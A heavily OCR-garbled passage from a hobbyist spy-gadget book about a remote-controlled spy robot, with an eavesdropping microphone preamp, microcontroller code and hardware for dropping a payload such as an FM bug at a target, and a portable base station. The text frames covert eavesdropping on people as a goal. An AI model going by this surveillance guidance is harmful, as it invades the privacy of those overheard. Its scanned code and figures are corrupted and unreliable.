causes  a pulse  width  modulated  signal  with  a duty 
cycle  based  on  (he  variable  in  pos.  if  your  servo 
has  slightly  different  timing  requirements  (han  the 
standard,  it  is  the  '*pau$eus  1000"  line  that  should 
be  modified  to  "tweak"  the  length  of  the  pulses. 

[ROTATE  SERVO  LEFT]  This  is  a subroutine 
that  sets  the  uf^r  limit  of  (he  variable  pos  ( 1 000 
maximum),  and  adds  a little  bit  to  it  in  order  to 
change  the  pulse  train  that  makes  the  servo  rotate 
to  (be  left. 
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Figure  I5'I7  Stno  bridge  device  Mb  <m  a hb  of perf 
board. 


I ROTATE  SERVO  RIGHT]  ITm  is  a subrouiioc 
ihm  sets  the  luwer  limit  of  the  variable  pos  (zero 
minimum),  and  subtracts  a little  bU  to  it  in  order  to 
change  the  pulse  train  that  makes  the  servo  rotate 
to  the  right. 

[CENTER  SERVO]  This  is  called  to  iastanily 
move  the  servo  from  whatever  posiiicm  it  is 
currently  at  to  its  dead  center — this  is  done  by 
setting  the  variable  pos  to  500  (half  of  masimuml. 

The  program  is  nothing  more  than  a tight  timing 
loop  that  varies  a pulse  width  ikpending  on  (he 
condition  of  four  input  pins.  It  is  easily  adaptable 
to  any  microcomruller  and  servo,  and  depending 


on  (he  speed  of  your  oscill^or  and  dming 
requirements  of  the  servo,  all  that  will  be  needed  is 
some  slight  modification  in  the  delay  value  ( 1000) 
added  to  ibe  pos  variable. 

To  test  the  bridge  circuit,  connect  the  power  to 
your  ROV,  and  rest  it  on  a stand  so  the  wheels 
comui  hit  the  ground.  If  you  engage  the  steering 
joystick  10  either  side  without  engaging  the  drive 
joystick,  the  camera  head  should  begin  to  turn 
slowly  in  the  same  direction  as  the  steering 
joystick.  If  you  let  go  of  the  steering  joystick,  the 
camera  head  will  stop  moving  and  remain  in  its 
current  position.  The  camera  head  xhould  have  a 
full  range  of  motion  from  left  to  right,  and  respond 
within  a fraction  of  a second  of  engaging  the 
steering  stick  side  to  side.  Now  engage  the 
driw  joystick  in  either  direction — the  wheels  will 
jump  (o  life  and  (he  camera  head  should  instantly 
return  to  its  center  position.  If  the  camera  head  is 
not  reluming  to  dead  center,  you  will  have  to  align 
il  at  this  point  by  removing  the  arm  that  connects 
the  servo  shaft  to  the  case,  and  reset  it  in  the  dead 
center  pasitiim.  A little  bit  of  side  to  side 
misoligruncm  is  not  really  going  to  be  all  that 
noticeable  when  you  are  navigating  by  video  link, 
but  more  than  a few  degrees  may  become 
annoying.  Now  let's  move  to  the  next  step,  and  get 
some  audio  eavesdropping  capability  into  our 
space  age  spy  ROV. 
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There's  not  much  point  traversing  the  backyard, 
across  the  laneway,  through  the  neighbor's  flower 
bed.  and  out  to  the  abandoned  shack  acn>s.s  the 
street  to  see  what  those  two  dark  figures  ore  up  lo 
in  the  middle  of  the  night  if  you  can't  hear 
anything  they  ore  saying.  Sure,  it  may  be  obvious 
what  they  arc  doing,  but  they  may  be  just  standing 
around  plotting  (he  downfall  of  your  entire 
neighborhood,  so  giving  your  ROV  a good  set  of 


ears  Is  very  important.  Your  video  transmitter  will 
most  likely  have  an  audio  input  us  well  as  the 
video  input,  and  will  accept  a line  level  audio 
signal.  This  is  a low>level  analog  signal  of 
approximately  I volt  A simple  multimedia  electret 
microphone  fed  into  a high-gain  op-omp  will  be 
able  to  turn  a whisper  into  a loud  and  clear 
conversadon  while  providing  a signal  level  that  the 
audio  input  on  the  iransmiiler  can  handle  perfectly. 
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figure  I5'I8  A simple  elect w microffhone  pmwip  schemaiic. 


The  circuit  kKowo  in  Figure  15-18  is  similar  to  the 
circuits  used  in  (he  high-gain  audio  cxpcKmencs 
earlier  in  (he  book,  and  it  requires  so  few  parts  that 
it  can  be  built  on  a square  inch  of  perf  board,  or 
simply  soldered  together  with  no  board  at  all. 

The  microphone  t used  is  an  inexpensive 
multimedia  type  with  an  adjustable  base,  as  it  was 
easy  to  stick  to  (he  side  of  the  ROV  with  the 
included  double-sided  tape.  These  microphones 
usually  come  with  sound  cards  and  new 
computers,  but  con  be  purchased  for  a few  bucks  at 
most  computer  or  audio  video  stores.  If  you  can't 
find  a microphone  like  this,  don't  worry,  (here  is 
nothing  but  a single  eiectrei  element  inside,  and 
you  can  tind  one  of  those  in  just  about  any  scrap 
appliance  with  a sound  input  (telephones, 
answering  machines,  (ape  recorders,  etc.).  This 
circuit  pushes  the  op-amp  into  ridiculous  levels  of 
gain,  and  (he  sound  can  gel  pretty  (hick,  but  1 
would  rather  have  noisy  sound  coming  out  at  my 
base  station  than  nothing  at  alt.  The  overloaded 
audio  can  always  be  filtered  with  a computer 
afterwards  in  order  to  extract  conversations  if 
they  are  hard  to  understand,  but  if  your  gain  is 
just  too  low.  you  will  have  nothing  at  all  to  work 
with — you  can't  amplify  wbai  iso't  there.  To  test 


the  microphone  and  preamp.  1 connected  it  to  an 
oscilloscope  (Figure  15-19)  so  I could  see  the 
output  as  I whispered  In  a quiet  room — (he 
was'efomi  wa&  almost  olT  the  grid!  If  you  get  too 
much  amplihcation  out  of  this  unit,  your  output 
sound  will  be  horribly  distorted,  and  you  will  need 
to  low'cr  (he  level  potentiometer  a bit  until  it  is 
useable.  Also,  because  there  is  no  squelch  circuit, 
or  feedback  from  the  RC  receiver,  you  are  going  to 
hear  (he  whirr  of  your  ROV's  motors  as  it  travels 
around.  This  will  make  ROV  sound  like  a tank  on 
the  receiver  due  to  (be  close  proximity  of  the 
micro^wne  and  motors.  This  extra  sound  effect 
adds  to  the  fun  at  first,  but  gets  a Little  annoying 
after  a few  hours,  which  is  why  1 have  a mule 
switch  to  short  out  my  incoming  audio  at  (he  base 
station. 

Once  you  are  happy  with  the  function  of 
your  preamp.  It  can  be  mounted  inside  the  ROV 
with  the  rest  of  (he  electronics,  as  shown  in 
Figure  15-20.  Because  of  the  steel  construction.  I 
was  able  to  bolt  all  of  (he  components  right  to  (he 
inside  of  the  cover,  including  the  audio  video 
(lansminer.  audio  preamplifier,  and  extra  power 
pack  used  to  power  the  devices.  It's  a good  idea  to 
keep  the  transminer  as  far  away  from  the  drive 
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Project  9 6~Addl ng  an  Ultrasensitive  Audi o Preamp 


Figure  IS-19 


Testing  the  compleieti  microphone  preamp  cirtviL 


Figure  I5*S0  Mounting  the  preamp  under  the  cover  wi/h  the  other  efectnnics. 


motor  os  possible,  os  it  could  possibly  cause 
interference  patterns  on  your  received  video  since 
motors  spit  out  a lot  of  stray  RF  noise.  Using  steel 
to  construct  the  cover  aids  a great  deal  m shielding 
the  components  from  RF  noise,  and  if  there  is  loo 
much  interference  from  the  RC  electronics,  the 
preamp  could  be  mounted  inside  the  camera  head 
to  add  even  more  isolation  from  the  rest  of  the 
electronics.  1 mounted  the  microphone  outside  the 
robot  using  the  double-sided  tape  that  came  with 
die  base:  this  allows  the  unit  to  be  aimed  in  a 
certain  direction  if  needed.  If  you  are  going  to 
require  a very  directionai  microphone,  then  look 
back  in  the  book  under  the  audio  eavesdropping 
and  recording  section  for  some  allcmative 
microphone  design  ideas. 


With  the  installation  of  the  microphone 
preamplifier,  your  ROV  is  now  a fdlly  working 
audio  and  video  spy  minion  ready  to  do  your 
bidding.  A few  other  things  1 added  to  my  ROV  are 
the  wire  post  that  will  hold  both  of  the  antennas 
(video  transmitter  and  RC  receiver)  to  each  side  of 
the  robot.  The  plastic  posts  hold  wires  by  friction, 
and  made  great  antenna  holders  since  they  contain 
a single  wire  insulated  from  the  steel  chassis.  The 
actual  antenna  wire  is  nothing  more  than  a bicycle 
spoke  with  the  flat  end  cut  from  it.  They  aren't 
matched  to  any  particular  frequency,  but  do  give 
decent  range  both  remote  control  and 
video  transmission.  The  original  RC  truck  had  a 
usable  remote  cumrol  range  of  only  about  1 000 
feet,  but  this  shocter  antenna  actually  seemed  to 
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deployment. 


improve  that  a bit  ]f  the  ROV  had  to  make  an 
emergency  escape  under  a low  object,  the  antennas 
would  simply  fold  down  rather  than  bend  as  the 
plasdc  wire  holders  turned.  As  you  can  see  in 
Figure  15-21, 1 also  added  a removable  halogen 
Ughi  on  the  cop  of  the  unit  for  non-steaJtby 
operations  requinog  bright  lights,  and  a few 
switches  to  turn  off  the  two  power  packs — one  for 
the  drive  motors,  and  the  other  for  the  audio  video 
equipment.  Having  dual  switches  allows  the  truck 
to  work  simply  as  a wireless  video  camera  wiihoui 
wasting  power  to  the  RC  elecironics. 

At  this  point.  1 planned  on  calling  this  project 
complete,  but  looking  at  all  those  unused  I/O 
pins  on  the  servo  bridge  microcontroller  gave 
me  an  idea  Ux  an  expansion.  Yes.  as  a true 
hardware  hacker  knows,  no  project  is  ever  really 
complete. 


Project  97 — Payload  Delivery  Function 


There  are  times  when  it  might  be  impossible  or 
Just  too  dangerous  to  deliver  one  of  you  high-tech 
.spy  gadgets  to  the  target  location,  so  why  not  let 
our  stealthy  ROV  do  the  job?  After  all.  the  robot 
can  see  in  the  dork,  sneak  into  spaces  much 
smaller  than  you  can.  and  in  the  unlikely  e>*eni  it 
might  be  seen,  you  wilt  be  located  safely  at  your 
base  station  well  out  of  view.  The  ROV  will  run 
for  an  hour  or  so,  depending  on  what  conditions 
you  operate  it.  or  the  size  of  battery  packs 
installed,  but  your  mission  may  require  a long- 
duration  bug  to  be  placed  somewhere,  or  you  may 
need  to  bring  some  provisions  to  your  fellow 
comrade  who  has  been  hiding  in  a yard  lo  reach 
vantage  point,  on  a covert  stakeout.  You  see  that 
pesky  skunk  digging  up  your  flower  bed  again,  but 
the  brave  animal  isn't  easily  scared  away.  It  keeps 
coming  back  for  more.  Do  you  really  want  to 
chase  after  it  and  risk  getting  sprayed  and  bathing 
in  tomato  Juice  for  days?  Why  not  send  your  ROV 


out  10  place  some  mothballs  or  cayenne  pepper  in 
the  flowerbed  to  ward  off  the  critter?  No  mailer 
what  your  diabolical  plans  may  be,  it  sure 
wouldn't  be  hard  to  use  one  of  those  free  I/O  pins 
to  trigger  some  simple  mechanical  dropping 
mechanism.  All  we  have  to  do  is  find  some  way  to 
trigger  a pulse  on  one  of  the  I/O  pins  without 
having  lo  expand  die  complexity  of  our  existing 
circuitry  or  RC  components.  We  were  able  to 
create  a panning  camera  head  by  looking  for  a 
certain  joystick  condition  that  existed  only 
when  the  truck  was  not  moving,  and  this  worked 
very  well,  so  this  would  seem  to  be  the  way  to 
attack  (his  i^oblem.  Dropping  a payload  is  not 
something  you  wont  to  trigger  by  accident. 
c^>cclally  if  you  are  only  half  way  to  the  target, 
or  even  worse,  still  in  your  own  driveway.  You 
will  most  certainly  fail  your  mission  if  the  FM  bug 
you  plan  lo  drop  in  the  target's  tool  shed  ends  up 
in  the  kid's  sandbox  instead.  We  will  have  to  make 
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our  microcoBcrollcr  look  for  s very  special 
se<)ueace  of  events — somethtog  ibat  would  oot 
happen  by  accident.  If  our  program  wailed  firai  for 
the  ROV  to  be  completely  idle  for  ai  least  a few 
seconds  (no  drive  or  steering  commands  engaged), 
then  it  waited  for  us  to  hold  one  of  the  joysticks  in 
a certain  position  for  an  extended  period  of  lime. 
This  would  be  a fairly  safe  drop  sequence.  Tbe 
drop  sequence  is  a one*  time  deal,~so  the  lengthy 
sequence  is  a safe  bet. 

Take  a look  at  the  modified  code  in  Listing  IS-2> 
this  new  code  has  only  a few  extra  lines  and  can 
now  trigger  another  output  pin  depending  on  a 
series  of  events — our  drop  sequence. 


; [VARIABLES] 
relay  var  ponb.4 
servo  var  pona.2 
rcl  var  portb.O 
rcr  var  portb.1 
ref  var  ponb.2 
rcb  var  ponb.3 
pos  var  word 
ctp  var  word 

: [STARTUP] 
gosub  center 
relay  = 0 


Listing  15.2  Servo  bridge 
control  program  ujith 
payload  drop  modification 

'16F628A 

device  HS.OSC 
^ Device  WDT.OFF 
Device  PWRT.OFF 
® Device  BOD.OFF 
® Device  MCLR.OFF 
CMCON  = ? 

VRCON  = 0 

; [SETUP] 
define  osc  10 
output  porta.2 
input  portb.O 
input  portb.  I 
input  portb.2 
input  portb.3 
output  portb.4 


; [MAIN  LOOP) 
main: 

. [CENTER  SERVO  IF  MOVING] 
if  ref  s I or  rcb  s ] then  gosub  center 

; [LOOK  FOR  NEUTRAL] 
if  ref  s 0 and  rcb  s 0 then 

; [SERVO  LEFT] 
if  rcl  s ] then  gosub  left 

; (SERVO  RIGHT] 

if  rcr  s ] then  gosub  right 

; IPAYLOAD  DROP  CHECK] 
if  rcl  s 1 then  ctp  s ctp  + 1 
if  rcl  B 0 ihen  ctp  s 0 
If  ctp  = 300  (hen 
relay  = 1 
pause  lOOO 
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relay  = 0 

endif 

eodif 

; [SET  SERVO  POSlTIONl 
servo  = 1 

Pauseus  1000  + pos 
servo  = 0 
Pause  16 

goto  main 

; [SUBROUTINES] 

: [ROTATE  SERVO  LEFT] 
left: 

If  pos  < 1000  Then 
pos  s pos  + 10 
Bndit 
Return 

: [ROTATE  SERVO  RIGHT) 

fight: 

ir  pos  > OThen 
pos  = pos  • 10 
Endif 
Return 


: fCENTER  SERVO] 

cenKr: 

pos  ^500 

Return 


This  code  is  almost  the  same  as  the  original 
code  from  listing  15-1.  but  odds  an  output  pin 
B.4  defined  as  “relay"  in  the  [VARIABLES] 
block.  The  only  other  addition  is  the  [PAYLOAD 
DROP  CHECK]  code  block,  and  it  is  inserted 
right  after  ihe  (SERVO  RIGHT]  code  block, 
the  loop  that  checks  the  state  of  the  steering 
pins  while  the  ROV  is  not  moving  (idle  slate). 
What  this  code  does  is  increment  a counter  “ctp" 
while  you  arc  holding  the  steering  joystick  to  the 
left— this  checks  the  state  of  the  rcl  pin  variable. 
If  you  are  holding  the  joystick  lo  the  left  for  at 
least  10  seconds  (duration  determined  by  the 
line  “if  ctp  — 500  then**)  (hen.  the  output  pin 
variable  “relay’*  is  set  high  for  one  second.  Iht 
relay  pin  can  be  connected  to  a solenoid,  actuator 
or  any  other  simple  mechanical  device  you  feel 
like  using  to  engage  your  payload-dropping 
mechanism.  Since  there  is  no  reason  you  will 
ever  be  holding  the  steering  joystick  to  the 
left  for  10  seconds  while  the  truck  is  not  in 
motion,  (his  is  a safe  way  to  signal  (he  ROV  to 
drop  its  payload.  Now  that  we  have  the  payload 
deliver  funciionality  added  to  our  RC  bridge 
pngfzm.  let's  build  the  actual  dropping 
mechanics. 


Project  98 — Payload  Delivery  Hardmare 


To  change  that  5-volt  pulse  from  (he 
microcontroller’s  I/O  pin  in(o  some  mechanical 
reaction,  we  are  going  to  have  to  pass  it  first 
through  a transistor  for  amplification  of  current, 


then  to  some  (ype  of  actuator.  The  type  of 
tnedanics  you  will  require  will  depend  on  the  size 
and  weight  of  the  intended  payload,  but  regardless, 
some  xype  ^ (ransistor-aciivated  switch  will  be 
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needed,  a.^  the  microcontroller  cannot  source  a lot 
of  current,  at  least  not  enough  to  pulse  a solenoid 
or  magnetic  actuator.  A simple  plunger  solenoid  is 
a good  choice  for  a one-time  deli>‘ery  system,  as  it 
can  simply  pull  a pin  and  let  go  of  the  cargo. 

These  electromagnciic  soleuoids  are  comnionly 
found  tn  VCRs,  photocopiers,  printers,  or  any  other 
device  r^uiriug  (he  acdvaiion  of  some  mechanical 
device.  These  common  solenoids  come  with 
standard  voltage  rating  of  S V.  12  V.  and  24  V.  with 
12  V being  the  most  common.  1 hav*c  found  that 
the  5 V and  24  V units  will  work  just  floe  on  12  V. 
as  long  as  the  actuator  is  pulsed  for  sbon  periods 
of  time,  but  the  best  way  to  And  out  is  to  simply 
try  the  coil  with  whatever  voltage  you  has’e 
uvuilable.  Driving  the  coil  is  as  simj^e  a.s  adding  a 
transistor,  resistor  and  diode  to  the  original  bridge 
circuit  shown  in  Figure  15-16.  The  base  of  the 
transistor  is  driven  by  ihe  microcontToller’s  output 
pin  through  a current  limiting  resistor.  The  diode 
protects  the  circuit  from  back  voltage  created  by 
(he  coil.  The  schematic  for  this  simple 
solenoid/coil  driver  is  shown  in  Figure  15-22.  and 
is  so  simple  that  it  can  be  built  by  soldering  the 
components  directly  to  the  solenoid  or  coil. 

The  choice  of  solenoid  or  coil  is  really 
dependent  on  whut  the  payload  will  be.  and  how 
you  plan  on  connecting  it  to  the  ROV.  I wanted  a 
payload  delivery  system  that  nvouM  be  diverse 
enough  to  handle  something  an  .simple  as  a tiny 
plastic  box:  right  up  to  .something  the  size  of  the 
actual  ROV  connected  like  a trailer,  so  a simple 
pin  through  a hole  type  system  seemed  most 
logical.  The  most  basic  type  of  small  magnetic 
solenoid  is  nothing  more  than  a plunger  that  gets 
pulled  into  an  electromagnet  when  power  is 
applied,  perfect  for  what  I planned  to  do.  The 
solenoid  1 used  wo.s  .salved  from  a dead  computer 
case.  It  was  the  device  that  .secured  the  case  from 
tampering.  This  solenoid  was  already  designed  to 
do  what  1 wanted,  pull  a pin  out  of  a hole  In  <^der 
to  let  go  of  something,  so  connecting  it  to  the  ROV 
would  be  as  simple  as  drilling  a few  mouniiug 
holes  in  the  desired  location.  1 decided  to  mount 


Figure  lS-53  A simple  solenoid  dri\er  for  poylood 
drop  Hard**'<ire. 

the  solenoid  at  the  rear  of  the  ROV  as  if  it  where  a 
trailer  hitch,  which  would  allow  me  to  drive  along, 
drop  the  payload  or  trailer  at  some  designated 
location,  then  continue  in  a straight  line. 

Depending  on  your  needs,  you  may  also  want  a 
simple  delivery  function  like  mine,  or  something 
much  more  elaborate  such  as  a slingshot  to  project 
your  payload  over  a fence,  or  a spring-activated 
spike  to  secure  your  payload  to  the  side  of  a 
building.  Whatever  your  needs  are.  they  can  most 
likely  be  satisfied  with  a simple  solenoid  actuator 
and  some  creative  hardware  hacking.  Figure  15-23 
shows  my  very  basic  pin  actuated  solenoid  being 
loaded  with  a small  box  containing  some  mystery 
device  diat  will  be  delivered  to  the  designated 
target  location  on  my  next  classiAed  mission. 

Now  your  ROV  can  sneak  into  a remote  location 
sending  you  crisp  audio  and  video,  see  in  complete 
darkness,  and  drop  a payload  anywhere  you 
choose.  Not  bad  for  something  built  in  a few  days 
from  Junk  that  was  laying  around  the  pans  bin. 
Proof  again  that  the  amateur  hardware  hacker  with 
a few  basic  tools,  and  a good  imagination,  should 
never  be  uiKlerestimated.  Now  let's  wrap  this  ROV 
project  up  by  creating  a portable  base  station  so 
you  can  take  your  robotic  soldier  into  the  field. 
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A I this  point,  you  have  created  a fully  hmciional 
spy  robot  that  can  do  just  about  any  task  you  wish 
depending  on  whm  hardware  you  may  have 
installed,  but  your  base  station  is  probably  nothing 
more  than  a receiver  stuck  on  the  lop  of  your 
television  set.  and  your  control  center  is  nothing 
more  than  a hand*held  toy  remote,  not  very  high 
tcch  considering  how  for  this  project  has  gone  so 
far.  What  if  you  had  to  run  a spy  operation  well 
beyond  the  end  of  your  block,  or  in  another 
location  far  away  from  your  base?  Yes,  you  could 
pack  up  your  TV  and  that  large  hall  of  wire.s.  but 
that  can  get  annoying  fast.  What  about  locations 
without  AC  power?  To  solve  all  of  these  problems, 
a professional- looking  portable  base  station  like 
the  one  shown  in  Figure  15*24  should  be  created. 
This  briefcase  sized  base  station  contains  the 
remote  control,  audio  and  video  receiver,  a small 
active  matrix  video  monitor,  and  even  a micro 
sized  video  recorder  to  keep  a live  log  of  your 
missions,  all  powered  by  a rechargeable  bantery. 

The  portable  base  station  is  another  exercise  in 
cieativity,  and  using  what  parts  you  have  available. 


The  goal  is  the  integration  of  the  video  screen.  RC 
controller,  and  all  receiver  electronics  into  a single 
unit  powered  by  battery.  Depending  on  how  large 
you  want  to  build  the  pon^le  base  station,  you 
may  also  have  room  for  other  devices  such  as  a 
video  recorder  like  the  one  I am  using  to  record 
mission  data,  Befc^e  you  find  a really  cool 
briefcase  or  box  and  decide  that  it  is  the  one  you 
want  to  use.  first  gather  all  of  your  intended  base 
equipment  together  including  power  source  and 
see  what  type  of  space  requirements  you  are  going 
to  need. 

For  a small  LCD  monitor,  and  all  the  receiver 
elecirooics.  you  are  going  to  need  a banery  of  at 
least  the  size  of  a large  flashlight  lantern  battery 
(about  6x3  inches).  A series  of  eight 
rechargeable  D*cell  batteries  will  most  likely  work 
well,  but  for  Icmger  run  rimes  you  may  want  to 
look  at  using  a larger  sealed  lead  acid  battery,  the 
type  used  in  banery  back-up  units  and  security 
tiering.  To  calculate  your  typical  run  times,  add 
up  the  amperage  of  all  your  devices  then  divide 
the  amp  hour  rating  of  your  battery  by  this 
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Figure  IS*2M  A proJtssUmal'Iooking  portable  base 
station  built  into  a briefcase. 


number— ihU  is  (he  best  case  scenario,  and 
realisdcally.  you  might  want  to  divide  that  in  half 
again  (o  be  safe.  My  battery  (7.5  amp  hours)  gives 
me  more  than  an  hour  of  run  time,  longer  than  the 
ROV  will  allow,  so  I am  safe.  For  extended 
mi.it.Mons.  I use  several  ROV  battery  pucks  and  plug 
the  base  station  into  the  cigarette  lighter  in  (he  car. 

Once  you  have  all  of  the  base  components 
chosen  and  measured.  Hnd  the  container  that  (hey 
will  be  mounted  in(o.  The  obvious  choices  are  a 
solid  brieh:ase  or  metal  utility  case  with  a canying 
handle  like  the  one  I used.  These  can  be  found  at 
just  about  any  hardware  store  or  second'haod  shop. 
A few  other  options  to  consider  would  be  old 
Q projector  coses,  appliance  cabinets,  computer 
^ cases,  or  completely  custom  made  boxes  from 
wood  or  sheet  metal.  Regardless  of  your  chosen 
0 case,  some  type  of  front  panel  will  need  to  be 
U manufectured  in  order  to  hold  the  video  screen  and 
Q* 
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Rguro  IS-25  A dashboard  masie  of  steel  sheet  for  the 
remote  base  station 


controls  to  the  box — I chose  to  build  one  from  the 
same  sheet  metal  that  was  used  to  make  the  ROV 
cover.  A simple  sheet  of  metal  cut  into  a square 
to  f(i  the  briefcase  was  all  that  was  needed 
(Figure  1 5>25).  Also  shown  are  the  switches 
and  plugs  used  to  expand  the  functionality  of 
the  base  statimi. 

The  sheet  of  metal  was  marked  out  with  a 
pencil  correspemding  (o  the  location  of  the  two 
joysticks,  video  screen,  switches  and  plugs  and 
then  U was  cut  using  a metal  blade  on  a Jigsaw. 
The  large  box  cutout  to  (he  right  of  the  video 
screen  will  contain  a small  video  recorder  as  will 
be  shown  later  Laying  out  the  components  first  is 
cnlical.  and  make  sure  there  is  enough  clearance 
for  (be  baiieries  under  all  of  the  switches  and 
jocks  when  the  plate  is  mounted  tu  the  box.  1 
found  (he  steel  plate  perfect  for  this  application, 
because  ii  was  strong  enough  to  mount  all  of  the 
electronics  including  the  battery  directly,  and  was 
a complete  self-contained  unit  when  removed 
from  the  box.  This  was  made  for  easy  servicing 
and  modiricaiion.  Mounting  all  of  (he  electronics 
is  the  next  step  once  the  dashboard  plate  is 
complete.  A job  that  takes  more  patience  than 
brainpower! 
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Project  100 — Base  Station  LUiring  and  Installation 


The  job  of  mounting  all  of  the  cocnpooents  into  a 
single  box  is  time  comuming  due  to  the  wiring, 
drilling,  und  bolting  that  has  to  be  done,  so  get 
your  soldering  iron  wanned  up.  and  gel 
comfonable  at  your  workbench.  The ‘actual  wiring 
itself  IS  no  mystery,  just  make  sure  the  proper 
voltage  and  polarity  is  maintained,  and  for  extra 
safety,  a main  fuse  with  an  amperage  rating 
slightly  higher  than  the  total  draw  of  all  the 
electronics  should  be  installed.  Since  you  will  be 
using  a 12- volt  battery,  most  of  the  wiring  will  be 
simple,  as  the  bulk  of  these  devices  will  have  a 
l2‘Volt  requirement.  For  lower  voltages,  you  will 
have  to  install  the  correct  regulator,  and  ifii  is 
shared  by  more  than  one  device,  make  sure  the 
appropriate  heat  sink  is  insialied  as  weli.  For 
voltage  regulators  requiring  heat  dissipation, 
simply  mounting  the  terminal  directly  to  the  steel 
on  your  base  station  can  solve  the  pmhlem.  The 
only  odd  voltage  requirement  of  all  my  base 
station  hardware  was  the  acnial  toy  remote 
control — it  ran  from  a 9>voli  battery.  For  curiosity 
sake.  I ran  it  directly  from  the  12- volt  battery.  umJ 
not  only  did  it  work  fine,  it  seemed  to  have  a 
higher  output  power,  extending  the  range  a few 
hundred  feet.  The  remote  controller  not  only 
requires  a power  supply,  but  also  will  require  an 
external  antenna,  since  mounting  it  inside  the  case 
will  defem  Us  built-in  antenna.  To  convert  the 
remote  to  work  from  an  external  antenna,  open  the 
plastic  case  and  solder  a shielded  cable  of  the 
correct  length  directly  to  the  terminaJ  that  <mce 
held  the  built-in  antenna.  A bit  of  old  coax  cable 
from  a television  dubbing  cable  will  work  just  fine. 
Don't  worry  too  much  about  the  impedance  and 
quality  of  the  wire,  just  make  sure  it  has  a shielded 
center  wire.  The  remote  shown  in  Figure  15-26  has 
had  (he  internal  antenna  removed  and  replaced  by 
a short  length  of  shielded  cable. 


The  other  end  of  that  shielded  cable  must  go 
bock  to  the  antenna  mounted  ouiside  the  portable 
base  station.  You  can  u.se  just  about  anything  for 
these  toy  remote  antennas,  from  a bit  of  wire  to 
some  butchered  television  rabbit  ears;  but  I 
decided  (o  utilize  the  original  antenna  and  mount 
it  so  that  it  would  hide  inside  the  box  when  the 
lid  was  closed.  As  you  can  see  in  Figure  15-27, 
the  antenna  is  held  in  place  by  a plastic  bait,  and 
the  other  end  of  the  shielded  cable  feeding  the 
remote  control  is  soldered  directly  to  the 
antenna's  base.  The  plastic  bolt  is  important  to 
keep  the  actual  antenna  in.>«ulated  from  the  steel 
box.  and  it  also  serves  as  a pivot  to  allow  the 
antenna  to  swing  inside  the  box  when  the  lid  is 
closed. 

The  antenna  wire  is  fed  through  the  steel 
dashboard  using  a rubber  grommet  to  protect  it 
from  the  sharp  edges  of  the  steel.  Figure  1 5-27 
also  shows  the  remote  control  joysticks  mounted 
through  two  square  holes  cut  in  (he  dashboard. 
The  remote  is  simply  bolted  to  the  other  side  with 
two  machine  screws,  and  is  kept  fully  imact.  The 
unit  in  the  center  cutout  is  a miniature  VCR 
capable  of  recording  high  quality  audio  and  video 
sent  back  from  the  ROV.  a video  log  of  each 
coven  mission.  Another  thing  to  consider  if  you 
plan  to  add  devices  such  as  a video  recorder  to 
your  base  station  is  power  draw.  Since  the  video 
recorder  uses  quite  a bit  of  power,  it  is  connected 
to  a switch  in  order  to  remove  it  from  the  power 
suj^ly  if  it  is  not  needed.  I added  a switch  to  just 
about  every  device  in  the  base  station  as  well,  so  I 
could  have  total  control  over  the  consumption  of 
power. 

Tbe  video  screen  was  mounted  through  the  large 
square  tuning  in  the  dashboard,  and  again, 
connected  to  a power  switch,  and  external  audio 
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Figure  15-26  Th^  remote  control  modified  for  using 
on  extemol  antenna- 


Figure  16-27  The  eriemal  aniennu  can  inside 
the  box  to  ehse  the  lid 


^ jiick  for  headphone  use.  The  video  ouipui  from  the 
^ LCD  was  also  fed  to  an  external  RCA  jack  for 
recording  to  another  device  if  needed.  By 
U connecting  all  of  the  audio,  video  and  power 
’H  lines  to  external  jacks,  my  base  station  was 
^ able  to  interface  to  just  about  any  external 
recording  device.  The  main  battery  is  also 
^ connected  to  a master  switch  that  can  select 
^ between  powering  the  base  station  and  having  an 
^ external  charger/power  source  such  as  a cv  lighter 
plug  connected.  Although  Jammed  full  of 
4J  electronics,  switches,  and  enough  battery  power  for 
CO  more  than  on  hour  of  use.  the  finished  portable 
base  station  shown  in  Figure  I5«28  is  not  much 
d)  bigger  than  the  ROV.  It's  very  easy  to  casually 
^ carry  this  base  station  on  site  without  gening  as 
^ much  as  a second  glance.  When  the  spy  robot  rolls 
? by  on  unsuspeebng  crowd,  however,  it  always  gets 
^ a second  glance. 

O There  is  a lot  of  room  for  creativity  when 
H building  the  portable  ba.se  station,  and  dq>cnding 
on  your  function,  it  may  take  on  a form  much 
^ different  than  the  one  I have  built.  Earlier  in  this 
^ section,  1 discussed  my  micro  sized  spy  robot 
^ project,  and  the  base  station  for  that  unit  is  going 
Q to  be  no  bigger  than  a pair  of  ski  goggles.  The  base 
^ station  will  be  a pair  of  LCD  glasses,  and  (be  robot 


Figure  16-28  The  spy  robot  strikes  a pose  on  lop  of 
the  portable  base  station. 


will  be  commanded  via  movement  of  Che 
operator *.s  head — how’s  that  for  virtual  reality 
^^ing? 


Project  101 — Spy  Robot  Mission  Testing 


performed  with  the  base  siadon  n inning  on  internal 
power  (Figure  15*29). 

With  a flip  of  the  drive  joystick,  the  highly 
capable  4- wheel  drive  robot  begins  to  climb  up  the 
hill.  Slicks,  brush  and  rocks  are  do  problem  for 
this  heany  unit.  Once  the  robot  is  checked  for 
funcdonality,  1 return  to  the  unmariced  covert  spy 
van  and  drive  to  (he  far  end  of  the  parking  lot,  well 
out  of  visible  range  of  my  target  area.  The  base 
station  is  now  plugged  into  the  cigarette  lighter  to 
COTserve  imemai  battery  power.  You  never  know 
when  you  might  have  to  head  out  into  the  field 
with  your  base  station.  I am  very  far  from  the 
robot,  but  the  video  aud  audio  are  not  all  that  bad. 
There  is  only  a slight  breakup  in  the  video,  nothing 
(hat  a roof*mounied  external  antenna  wouldn't  fix 
(add  that  to  my  modifications  list!.  I engage  the 
forward  joystick  and  the  ROV  springs  to  life, 
riding  along  the  backside  of  the  hill  along  the  edge 


It's  time  to  take  the  spy  robot  on  a test  mission  to 
make  sure  all  of  the  components  are  functioning 
properly.  Today's  mock  mission  is  to  take  the  robot 
and  base  station  to  a parking  lot  where  cars  bave 
been  vandalised  and  broken  into.  We  will  drop  the 
ROV  off  at  the  base  of  a hill,  then  drive  to  the 
other  side  of  the  pariung  lot  to  covertly  watch  the 
area  most  likely  to  be  a target  for  crime.  Our 
baCterie.^  are  fully  charged,  and  the  base  station  is 
packed  into  the  unmarked  spy  van  ready  to  travel. 
Our  lest  is  being  performed  in  full  daylight,  only 
because  my  camera  cannot  take  photos  at  oighl. 
Our  stealthy  spy  robot  laughs  at  the  luck  of 
daylight,  and  can  cut  through  the  darkest  of  nights 
without  any  problem  at  all  using  its  onboard 
infrared  LED  array. 

Once  on  site,  (he  ROV  is  deployed  along  the 
backside  of  a hill,  well  out  of  view  from  the 
intended  target  and  a quick  furKlionality  te.si  is 


